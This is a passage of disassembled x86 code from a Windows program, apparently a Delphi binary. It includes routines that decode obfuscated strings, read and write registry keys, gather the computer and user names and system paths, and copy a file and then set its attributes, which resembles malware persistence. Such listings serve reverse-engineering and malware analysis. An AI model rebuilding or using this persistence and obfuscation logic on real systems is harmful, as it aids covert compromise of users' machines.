		db  2Dh	; -
		db 0BEh	; Ў
		db  3Ch	; < OFF32 SEGDEF [CODE,415B3C]
		db  5Bh	; [
		db  41h	; A
		db    0	;  
		db 0BFh	; ©
		db  37h	; 7 OFF32 SEGDEF [DATA,41D837]
		db 0D8h	; ь
		db  41h	; A
		db    0	;  
		db 0B9h	; ╧
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db 0A5h	; ╔
		db  6Ah	; j
		db  48h	; H
		db 0A1h	; ║
		db  7Ch	; | OFF32 SEGDEF [BSS,41E67C]
		db 0E6h	; Ф
		db  41h	; A
		db    0	;  
		db  50h	; P
		db  6Ah	; j
		db    9	;  
		db 0E8h	; Х
		db  93h	; ⌠
		db    1	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0F7h	; В
		db 0D8h	; ь
		db 0A3h	; ё
		db  30h	; 0 OFF32 SEGDEF [DATA,41D830]
		db 0D8h	; ь
		db  41h	; A
		db    0	;  
		db  88h	; ┬
		db  1Dh	;  
		db  36h	; 6 OFF32 SEGDEF [DATA,41D836]
		db 0D8h	; ь
		db  41h	; A
		db    0	;  
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C3h	; ц
		align 4
		dd 826C820Fh, 6F822072h, 56835383h, 4E836283h
off_415B4C	dd offset dword_415B98	; DATA XREF: CODE:00415E12o
		dd 7 dup(0)
		dd offset dword_415B98
		dd 20h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_415BE0
dword_415B98	dd 6150540Fh, 72657474h, 6E614D6Eh, 72656761h, 0D2845653h
					; DATA XREF: CODE:00415B4Co
					; CODE:00415B6Co
		dd 0C4830874h, 0D126E8F0h, 0DA8BFFFEh, 468DF08Bh, 0E1E85008h
		dd 8BFFFF00h, 74DB84C6h, 0D166E80Fh, 8F64FFFEh,	5, 0CC48300h
		dd 5B5EC68Bh, 408DC3h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415BE0	proc near		; DATA XREF: CODE:00415B94o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_415C24
		lea	eax, [esi+8]
		push	eax
		call	j_DeleteCriticalSection_0
		test	bl, bl
		jle	short loc_415C06
		mov	eax, esi
		call	sub_402D2C

loc_415C06:				; CODE XREF: sub_415BE0+1Dj
		pop	esi
		pop	ebx
		retn
sub_415BE0	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415C0C	proc near		; CODE XREF: sub_415C24+17p
		add	eax, 8
		push	eax
		call	j_EnterCriticalSection_0
		retn
sub_415C0C	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_415C18	proc near		; CODE XREF: sub_415C24+45p
		add	eax, 8
		push	eax
		call	j_LeaveCriticalSection_0
		retn
sub_415C18	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415C24	proc near		; CODE XREF: sub_415BE0+Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_4], eax
		jmp	short loc_415C8D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415C2F:				; CODE XREF: sub_415C24+71j
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		call	sub_415C0C
		xor	eax, eax
		push	ebp
		push	offset loc_415C6F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415C76

loc_415C66:				; CODE XREF: sub_415C24+50j
		mov	eax, [ebp+var_4]
		call	sub_415C18
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415C6F:				; DATA XREF: sub_415C24+1Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_415C66
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415C76:				; DATA XREF: sub_415C24+3Do
		mov	eax, [ebp-0Ch]
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_415C85
		call	sub_402BDC

loc_415C85:				; CODE XREF: sub_415C24+5Aj
		mov	eax, [ebp-8]
		call	sub_4025B0

loc_415C8D:				; CODE XREF: sub_415C24+9j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_415C2F
		mov	esp, ebp
		pop	ebp
		retn
sub_415C24	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415C9C	proc near		; DATA XREF: CODE:0041A990o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_415D65
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E678
		jnz	loc_415D57
		mov	eax, ds:dword_41E6D0
		call	sub_402BDC
		mov	eax, ds:dword_41DA6C
		call	sub_402BDC
		mov	eax, ds:dword_41DA68
		call	sub_402BDC
		call	sub_415434
		mov	eax, ds:dword_41DA70
		call	sub_402BDC
		mov	eax, ds:dword_41E6CC
		call	sub_402BDC
		mov	eax, ds:dword_41E6C0
		call	sub_402BDC
		mov	eax, ds:dword_41E6C4
		call	sub_402BDC
		mov	eax, ds:dword_41E6C8
		call	sub_402BDC
		mov	eax, ds:dword_41E674
		push	eax
		call	j_DeleteObject
		push	offset unk_41E690
		call	j_DeleteCriticalSection_0
		push	offset unk_41E6A8
		call	j_DeleteCriticalSection_0
		mov	eax, offset unk_41D9A8
		mov	ecx, 12h
		mov	edx, ds:off_40BE84
		call	sub_403BE8
		mov	eax, offset unk_41D858
		mov	ecx, 2Ah
		mov	edx, ds:off_40BE84
		call	sub_403BE8

loc_415D57:				; CODE XREF: sub_415C9C+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415D6C

locret_415D64:				; CODE XREF: sub_415C9C+CEj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415D65:				; DATA XREF: sub_415C9C+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_415D64
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415D6C:				; CODE XREF: sub_415C9C+C8j
					; DATA XREF: sub_415C9C+C3o
		pop	ebp
		retn
sub_415C9C	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
byte_415D70	db 83h,	2Dh		; DATA XREF: CODE:0041A98Co
		dd offset dword_41E678
		dd 0ED830F01h, 0E8000000h, 0FFFFFCDAh
		db 68h
		dd offset unk_41E690
		dd 0FEFF18E8h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	fword ptr (unk_41EF24-41EF7Ch)[eax]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0E80041E6h, 0FFFEFF0Eh, 17E8076Ah, 0A3FFFF00h
		dd offset dword_41E680
		dd 0BE8056Ah, 0A3FFFF00h
		dd offset dword_41E684
		dd 0FFE80D6Ah, 0A3FFFEFFh
		dd offset dword_41E688
		dd 7F0068h, 0E8006A00h,	0FFFF0096h
		db 0A3h
		dd offset dword_41E68C
		dd 0FFFD08E8h, 2CB966FFh, 0A101B200h
		dd offset off_41370C
		dd 0FFD98CE8h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	ds:dword_41E6C0[ebx]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 10B966h
		db 0B2h, 1, 0A1h
		dd offset off_41370C
		dd 0FFD977E8h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	ds:dword_41E6C4[ebx]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 10B966h
		db 0B2h, 1, 0A1h
		dd offset off_41370C
		dd 0FFD962E8h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	ds:dword_41E6C8[ebx]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 0B2h, 1, 0A1h
		dd offset off_415B4C
		dd 0FFFD8DE8h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	ds:dword_41E6D0[ebx]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	dl, 1
		mov	eax, ds:off_40B920
		call	sub_40C358
		mov	ds:dword_41DA70, eax
		mov	dl, 1
		mov	eax, ds:off_40B920
		call	sub_40C358
		mov	ds:dword_41E6CC, eax
		mov	ecx, offset loc_413B4C
		mov	edx, offset loc_413B5C
		mov	eax, ds:off_4133A0
		call	sub_40C000
		mov	ecx, offset loc_413D20
		mov	edx, offset loc_413D30
		mov	eax, ds:off_41347C
		call	sub_40C000
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_InternetGetConnectedState. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415E74	proc near		; DATA XREF: CODE:0041A998o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_415E99
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E6D4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415EA0

locret_415E98:				; CODE XREF: sub_415E74+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415E99:				; DATA XREF: sub_415E74+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_415E98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415EA0:				; CODE XREF: sub_415E74+24j
					; DATA XREF: sub_415E74+1Fo
		pop	ebp
		retn
sub_415E74	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_415EA4:				; DATA XREF: CODE:0041A994o
		sub	ds:dword_41E6D4, 1
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415EAC	proc near		; CODE XREF: sub_416478+94p
					; sub_416C54+43p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		mov	eax, [ebp+var_C]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_415F9C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		mov	dl, 1
		mov	eax, ds:off_40E5C4
		call	sub_40E6C4
		mov	ebx, eax
		cmp	esi, 1
		jnz	short loc_415F14
		mov	edx, 80000002h
		mov	eax, ebx
		call	sub_40E764
		jmp	short loc_415F33
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415F14:				; CODE XREF: sub_415EAC+58j
		cmp	esi, 2
		jnz	short loc_415F27
		mov	edx, 80000000h
		mov	eax, ebx
		call	sub_40E764
		jmp	short loc_415F33
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415F27:				; CODE XREF: sub_415EAC+6Bj
		mov	edx, 80000001h
		mov	eax, ebx
		call	sub_40E764

loc_415F33:				; CODE XREF: sub_415EAC+66j
					; sub_415EAC+79j
		mov	cl, 1
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40E7C8
		mov	edx, [ebp+var_8]
		mov	eax, ebx
		call	sub_40EAE4
		test	al, al
		jz	short loc_415F5A
		lea	ecx, [ebp+var_10]
		mov	edx, [ebp+var_8]
		mov	eax, ebx
		call	sub_40E990

loc_415F5A:				; CODE XREF: sub_415EAC+9Fj
		cmp	[ebp+arg_8], 1
		jnz	short loc_415F6D
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	eax, ebx
		call	sub_40E964

loc_415F6D:				; CODE XREF: sub_415EAC+B2j
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx-4]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_415FA3

loc_415F8E:				; CODE XREF: CODE:00415FA1j
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_4034EC
		retn
sub_415EAC	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415F9C:				; DATA XREF: sub_415EAC+34o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_415F8E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_415FA3:				; DATA XREF: sub_415EAC+DDo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_415FAC	proc near		; CODE XREF: sub_416478+18Bp
					; sub_416C54+17Bp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_41608C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_14]
		call	sub_4034C8
		mov	ebx, 6
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	[ebp+var_10], eax
		mov	esi, [ebp+var_10]
		test	esi, esi
		jle	short loc_41605E
		mov	edi, 1

loc_416003:				; CODE XREF: sub_415FAC+B0j
		inc	ebx
		cmp	ebx, 8
		jnz	short loc_41600E
		mov	ebx, 4

loc_41600E:				; CODE XREF: sub_415FAC+5Bj
		cmp	[ebp+var_8], 1
		jnz	short loc_416038
		lea	eax, [ebp+var_18]
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx+edi-1]
		mov	ecx, [ebp+var_10]
		add	ecx, ebx
		add	edx, ecx
		call	sub_403670
		mov	edx, [ebp+var_18]
		lea	eax, [ebp+var_14]
		call	sub_40372C
		jmp	short loc_41605A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416038:				; CODE XREF: sub_415FAC+66j
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx+edi-1]
		mov	ecx, [ebp+var_10]
		add	ecx, ebx
		sub	edx, ecx
		call	sub_403670
		mov	edx, [ebp+var_1C]
		lea	eax, [ebp+var_14]
		call	sub_40372C

loc_41605A:				; CODE XREF: sub_415FAC+8Aj
		inc	edi
		dec	esi
		jnz	short loc_416003

loc_41605E:				; CODE XREF: sub_415FAC+50j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_14]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416093

loc_416076:				; CODE XREF: CODE:00416091j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_415FAC	endp ; sp = -30h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41608C:				; DATA XREF: sub_415FAC+28o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_416076
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416093:				; DATA XREF: sub_415FAC+C5o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41609C	proc near		; CODE XREF: sub_416C54+A1p
					; sub_4190CC+179p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	[ebp+var_C], 105h
		mov	eax, [ebp+var_C]
		call	sub_402598
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_41616A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	ebx, 6		; switch 7 cases 
		ja	short loc_416149 ; default
		jmp	ds:off_4160D4[ebx*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_4160D4	dd offset loc_416149	; DATA XREF: sub_41609C+31r
		dd offset loc_4160F0	; jump table for switch	statement
		dd offset loc_4160FF
		dd offset loc_41610E
		dd offset loc_41611D
		dd offset loc_41612C
		dd offset loc_41613B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4160F0:				; CODE XREF: sub_41609C+31j
					; DATA XREF: sub_41609C+38o
		mov	eax, [ebp+var_C] ; case	0x1
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	j_GetWindowsDirectoryA
		jmp	short loc_416149 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4160FF:				; CODE XREF: sub_41609C+31j
					; DATA XREF: sub_41609C+38o
		mov	eax, [ebp+var_C] ; case	0x2
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	j_GetSystemDirectoryA
		jmp	short loc_416149 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41610E:				; CODE XREF: sub_41609C+31j
					; DATA XREF: sub_41609C+38o
		mov	eax, [ebp+var_8] ; case	0x3
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		call	j_GetCurrentDirectoryA
		jmp	short loc_416149 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41611D:				; CODE XREF: sub_41609C+31j
					; DATA XREF: sub_41609C+38o
		lea	eax, [ebp+var_C] ; case	0x4
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	j_GetComputerNameA
		jmp	short loc_416149 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41612C:				; CODE XREF: sub_41609C+31j
					; DATA XREF: sub_41609C+38o
		lea	eax, [ebp+var_C] ; case	0x5
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	j_GetUserNameA
		jmp	short loc_416149 ; default
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41613B:				; CODE XREF: sub_41609C+31j
					; DATA XREF: sub_41609C+38o
		mov	eax, [ebp+var_8] ; case	0x6
		push	eax
		push	104h
		call	j_GetTempPathA

loc_416149:				; CODE XREF: sub_41609C+2Fj
					; sub_41609C+31j ...
		xor	eax, eax	; default
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416171

loc_416156:				; CODE XREF: CODE:0041616Fj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		call	sub_403680
		mov	eax, [ebp+var_8]
		call	sub_4025B0
		retn
sub_41609C	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41616A:				; DATA XREF: sub_41609C+21o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_416156
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416171:				; DATA XREF: sub_41609C+B5o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_416178	proc near		; CODE XREF: sub_416C54+CDp
					; sub_4184C4+145p ...

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		mov	[ebp+var_9], cl
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4161FD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, [ebp+var_8]
		call	sub_4071A8
		test	al, al
		jnz	short loc_4161E2
		push	0
		mov	eax, [ebp+var_8]
		call	sub_4038E8
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4038E8
		push	eax
		call	j_CopyFileA
		cmp	[ebp+var_9], 0
		jz	short loc_4161E0
		mov	edx, 2
		mov	eax, [ebp+var_8]
		call	sub_4071B8

loc_4161E0:				; CODE XREF: sub_416178+59j
		mov	bl, 1

loc_4161E2:				; CODE XREF: sub_416178+3Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416204

loc_4161EF:				; CODE XREF: CODE:00416202j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_416178	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4161FD:				; DATA XREF: sub_416178+23o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4161EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416204:				; DATA XREF: sub_416178+72o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41620C	proc near		; CODE XREF: sub_416C54+16Bp
					; sub_417C88+97p ...

var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4162CE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	ebx, eax
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	dl, [edx+ebx-3]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_C]
		lea	eax, [ebp+var_10]
		call	sub_402848
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_4]
		mov	dl, [edx+ebx-2]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_14]
		lea	eax, [ebp+var_10]
		mov	cl, 2
		call	sub_402818
		lea	edx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		call	sub_402848
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_4]
		mov	dl, [edx+ebx-1]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_14]
		lea	eax, [ebp+var_18]
		mov	cl, 3
		call	sub_402818
		lea	edx, [ebp+var_18]
		lea	eax, [ebp+var_8]
		call	sub_4036EC
		mov	eax, [ebp+var_8]
		mov	edx, esi
		call	sub_406D90
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4162D5

loc_4162C0:				; CODE XREF: CODE:004162D3j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_41620C	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4162CE:				; DATA XREF: sub_41620C+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4162C0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4162D5:				; DATA XREF: sub_41620C+AFo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4162DC	proc near		; CODE XREF: sub_416478+298p
					; sub_416478+2A8p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_41638C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edi, ebx
		test	edi, edi
		jle	short loc_416371
		mov	esi, 1
		mov	ebx, offset unk_41E6D8

loc_416320:				; CODE XREF: sub_4162DC+93j
		cmp	byte ptr [ebx],	46h
		jnz	short loc_41636C
		cmp	byte ptr [ebx+1], 41h
		jnz	short loc_41636C
		lea	eax, [ebp+var_C]
		mov	dl, [ebx+2]
		call	sub_403670
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		call	sub_403834
		jnz	short loc_41636C
		mov	eax, [ebp+var_4]
		call	sub_403724
		mov	edx, eax
		test	edx, edx
		jle	short loc_416371
		mov	eax, 1

loc_416356:				; CODE XREF: sub_4162DC+8Cj
		mov	ecx, [ebp+var_4]
		mov	cl, [ecx+eax-1]
		lea	ebx, [eax+esi]
		mov	byte ptr ds:unk_41E6D9[ebx], cl
		inc	eax
		dec	edx
		jnz	short loc_416356
		jmp	short loc_416371
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

